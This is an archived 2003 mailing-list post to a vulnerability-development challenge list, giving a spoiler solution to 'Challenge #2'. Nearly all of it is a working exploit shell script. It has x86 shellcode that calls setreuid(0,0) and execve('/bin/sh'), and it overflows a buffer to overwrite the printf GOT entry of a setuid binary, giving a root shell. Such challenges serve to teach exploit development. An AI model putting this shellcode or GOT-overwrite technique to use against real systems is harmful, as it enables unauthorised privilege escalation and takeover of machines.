|
|||||||||||
|
Re: [Vuln-dev Challenge] Challenge #2 (SPOILER)
From: Joel Eriksson <je-vulndev(at)bitnux.com>
Date: Fri May 23 2003 - 20:11:33 EDT [je@vudo ~]$ cat>expldev-2.sh<<EOF
shellcode=`
# setreuid(0, 0)
printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
# execve("/bin/sh", "/bin/sh", NULL)
printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
printf "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
`
buf_size=90 # size of buffer pad_size=2 # align to word boundary num_reps=32 # &bfp - buf may be > BFSIZE (padding/alignment) addr=0x$(objdump -R vulndev-2 | awk '$3 == "printf" { print $1 }') arg1=$(perl -e 'print "A"x('$buf_size+$pad_size') . pack("L", '$[addr-2]')x'$num_reps) arg2=$(perl -e 'print pack("L", '$[addr+4]')')$shellcode rm -f db.log ; ./vulndev-2 $arg1 $arg2
exit 0
-- Joel ErikssonReceived on Sat May 24 17:04:55 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||